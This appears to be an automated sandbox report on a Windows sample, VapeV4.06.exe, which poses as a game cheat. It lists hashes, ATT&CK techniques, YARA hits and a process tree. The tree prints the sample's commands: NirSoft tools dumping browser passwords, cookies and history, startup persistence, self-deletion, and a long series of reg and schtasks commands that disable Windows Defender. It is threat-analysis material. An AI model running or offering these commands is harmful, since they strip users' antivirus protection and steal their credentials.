476a62e25a12d8e509fcb7ec10ece40c53e239effb1e42645461896e75382f89

Analysis

max time kernel
150s
max time network
113s
platform
windows10_x64
resource
win10v20210408
submitted
09/07/2021, 19:21

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General

Target
VapeV4.06.exe
Size 2.8MB
Sample210709-2sdm15dffe
SHA256 476a62e25a12d8e509fcb7ec10ece40c53e239effb1e42645461896e75382f89
MD5 633535cb54fea4b7998c34a04bc83911
SHA1 0cb63453986e04b7dc078a004c41f340e5c777e6
SHA512 e49543cf91b374a3af8f7c350b610f8336a379ea211009c940ae3b0f990697783b274b3efde35855b3d58200575cb236f7d6eaa4a13f83cc5bf17088e5bb8a85
MD5 SHA1 SHA512

Score

10^/10

evasion spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

NirSoft WebBrowserPassView 3 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/500-122-0x000002C6A5020000-0x000002C6A535B000-memory.dmp	WebBrowserPassView
behavioral2/files/0x000100000001ab5c-172.dat	WebBrowserPassView
behavioral2/files/0x000100000001ab5c-173.dat	WebBrowserPassView

Nirsoft 7 IoCs

resource	yara_rule
behavioral2/memory/500-122-0x000002C6A5020000-0x000002C6A535B000-memory.dmp	Nirsoft
behavioral2/files/0x000100000001ab5c-172.dat	Nirsoft
behavioral2/files/0x000100000001ab5c-173.dat	Nirsoft
behavioral2/files/0x000100000001ab59-187.dat	Nirsoft
behavioral2/files/0x000100000001ab59-186.dat	Nirsoft
behavioral2/files/0x000100000001ab5b-196.dat	Nirsoft
behavioral2/files/0x000100000001ab5b-195.dat	Nirsoft

Executes dropped EXE 6 IoCs

pid	Process
500	RtkBtManServ.exe
3936	snuvcdsm.exe
3244	winhlp32.exe
3744	splwow64.exe
2000	hh.exe
3084	xwizard.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000001ab58-180.dat	upx
behavioral2/files/0x000100000001ab58-181.dat	upx
behavioral2/files/0x000100000001ab5a-184.dat	upx
behavioral2/files/0x000100000001ab5a-183.dat	upx

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager9220228.exe	VapeV4.06.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager9220228.exe	VapeV4.06.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	VapeV4.06.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	RtkBtManServ.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3936	snuvcdsm.exe
3936	snuvcdsm.exe
3936	snuvcdsm.exe
3936	snuvcdsm.exe
2000	hh.exe
2000	hh.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
3084	xwizard.exe
500	RtkBtManServ.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	500	RtkBtManServ.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 500	652	VapeV4.06.exe	74
PID 652 wrote to memory of 500	652	VapeV4.06.exe	74
PID 652 wrote to memory of 3192	652	VapeV4.06.exe	75
PID 652 wrote to memory of 3192	652	VapeV4.06.exe	75
PID 3192 wrote to memory of 496	3192	cmd.exe	78
PID 3192 wrote to memory of 496	3192	cmd.exe	78
PID 3192 wrote to memory of 3048	3192	cmd.exe	79
PID 3192 wrote to memory of 3048	3192	cmd.exe	79
PID 3192 wrote to memory of 1960	3192	cmd.exe	96
PID 3192 wrote to memory of 1960	3192	cmd.exe	96
PID 3192 wrote to memory of 2228	3192	cmd.exe	81
PID 3192 wrote to memory of 2228	3192	cmd.exe	81
PID 3192 wrote to memory of 776	3192	cmd.exe	82
PID 3192 wrote to memory of 776	3192	cmd.exe	82
PID 3192 wrote to memory of 1600	3192	cmd.exe	83
PID 3192 wrote to memory of 1600	3192	cmd.exe	83
PID 3192 wrote to memory of 1412	3192	cmd.exe	84
PID 3192 wrote to memory of 1412	3192	cmd.exe	84
PID 3192 wrote to memory of 2128	3192	cmd.exe	85
PID 3192 wrote to memory of 2128	3192	cmd.exe	85
PID 3192 wrote to memory of 3868	3192	cmd.exe	86
PID 3192 wrote to memory of 3868	3192	cmd.exe	86
PID 3192 wrote to memory of 2600	3192	cmd.exe	87
PID 3192 wrote to memory of 2600	3192	cmd.exe	87
PID 3192 wrote to memory of 3976	3192	cmd.exe	88
PID 3192 wrote to memory of 3976	3192	cmd.exe	88
PID 3192 wrote to memory of 692	3192	cmd.exe	89
PID 3192 wrote to memory of 692	3192	cmd.exe	89
PID 3192 wrote to memory of 3420	3192	cmd.exe	90
PID 3192 wrote to memory of 3420	3192	cmd.exe	90
PID 3192 wrote to memory of 1016	3192	cmd.exe	91
PID 3192 wrote to memory of 1016	3192	cmd.exe	91
PID 3192 wrote to memory of 3764	3192	cmd.exe	92
PID 3192 wrote to memory of 3764	3192	cmd.exe	92
PID 3192 wrote to memory of 4000	3192	cmd.exe	93
PID 3192 wrote to memory of 4000	3192	cmd.exe	93
PID 3192 wrote to memory of 4092	3192	cmd.exe	94
PID 3192 wrote to memory of 4092	3192	cmd.exe	94
PID 3192 wrote to memory of 3048	3192	cmd.exe	95
PID 3192 wrote to memory of 3048	3192	cmd.exe	95
PID 3192 wrote to memory of 1960	3192	cmd.exe	96
PID 3192 wrote to memory of 1960	3192	cmd.exe	96
PID 3192 wrote to memory of 3084	3192	cmd.exe	97
PID 3192 wrote to memory of 3084	3192	cmd.exe	97
PID 3192 wrote to memory of 752	3192	cmd.exe	98
PID 3192 wrote to memory of 752	3192	cmd.exe	98
PID 3192 wrote to memory of 2024	3192	cmd.exe	99
PID 3192 wrote to memory of 2024	3192	cmd.exe	99
PID 3192 wrote to memory of 2068	3192	cmd.exe	100
PID 3192 wrote to memory of 2068	3192	cmd.exe	100
PID 3192 wrote to memory of 2160	3192	cmd.exe	101
PID 3192 wrote to memory of 2160	3192	cmd.exe	101
PID 3192 wrote to memory of 2128	3192	cmd.exe	102
PID 3192 wrote to memory of 2128	3192	cmd.exe	102
PID 3192 wrote to memory of 4008	3192	cmd.exe	103
PID 3192 wrote to memory of 4008	3192	cmd.exe	103
PID 3192 wrote to memory of 3984	3192	cmd.exe	104
PID 3192 wrote to memory of 3984	3192	cmd.exe	104
PID 3192 wrote to memory of 2064	3192	cmd.exe	105
PID 3192 wrote to memory of 2064	3192	cmd.exe	105
PID 3192 wrote to memory of 3856	3192	cmd.exe	106
PID 3192 wrote to memory of 3856	3192	cmd.exe	106
PID 3192 wrote to memory of 416	3192	cmd.exe	107
PID 3192 wrote to memory of 416	3192	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\VapeV4.06.exe
"C:\Users\Admin\AppData\Local\Temp\VapeV4.06.exe"
1⤵
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:652
- C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
  "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs6vySfzooDkV5qMw6+sQ7VErElZCt0/3KF/tOxGC1+1kCIq/9WqTh4PGuQDjSAuLQK2qwRVbYxnga7j0CUGSzjWNHg3kwjwcrQyPqSJEcREUFKHif8yw0Pop+5N/5CQG3Q=
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:500
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:2208
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:1412
    - - C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3936
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:3848
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:2272
    - - C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
        
        C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
        5⤵
        Executes dropped EXE
        
        PID:3244
    - - C:\Users\Admin\AppData\Local\Temp\splwow64.exe
        
        C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
        5⤵
        Executes dropped EXE
        
        PID:3744
    - - C:\Users\Admin\AppData\Local\Temp\hh.exe
        
        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2000
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:2240
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:2228
    - - C:\Users\Admin\AppData\Local\Temp\xwizard.exe
        
        C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3084
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
    3⤵
    PID:776
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:496
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1960
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:776
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:1600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
    3⤵
    PID:3976
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:3420
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1016
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:3764
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4000
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:4092
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:3048
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:1960
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3084
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:752
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:2024
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2068
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2160
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4008
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3984
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3856
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/500-160-0x000002C6A4FE0000-0x000002C6A4FE1000-memory.dmp

Download

memory/500-162-0x000002C6A5670000-0x000002C6A570B000-memory.dmp

Download

memory/500-166-0x000002C6A5730000-0x000002C6A5731000-memory.dmp

Download

memory/500-165-0x000002C6A4FC0000-0x000002C6A4FC1000-memory.dmp

Download

memory/500-161-0x000002C6A5640000-0x000002C6A566F000-memory.dmp

Download

memory/500-119-0x000002C68A810000-0x000002C68A811000-memory.dmp

Download

memory/500-122-0x000002C6A5020000-0x000002C6A535B000-memory.dmp

Download

memory/500-123-0x000002C68ACF0000-0x000002C68ACF1000-memory.dmp

Download

memory/500-152-0x000002C6A4F90000-0x000002C6A4F91000-memory.dmp

Download

memory/500-124-0x000002C6A4F10000-0x000002C6A4F11000-memory.dmp

Download

memory/500-126-0x000002C6A5360000-0x000002C6A540C000-memory.dmp

Download

memory/500-128-0x000002C6A5010000-0x000002C6A5012000-memory.dmp

Download

memory/500-159-0x000002C68AE70000-0x000002C68AE76000-memory.dmp

Download

memory/500-158-0x000002C6A4ED0000-0x000002C6A4EFA000-memory.dmp

Download

memory/652-114-0x0000025B82A20000-0x0000025B82A21000-memory.dmp

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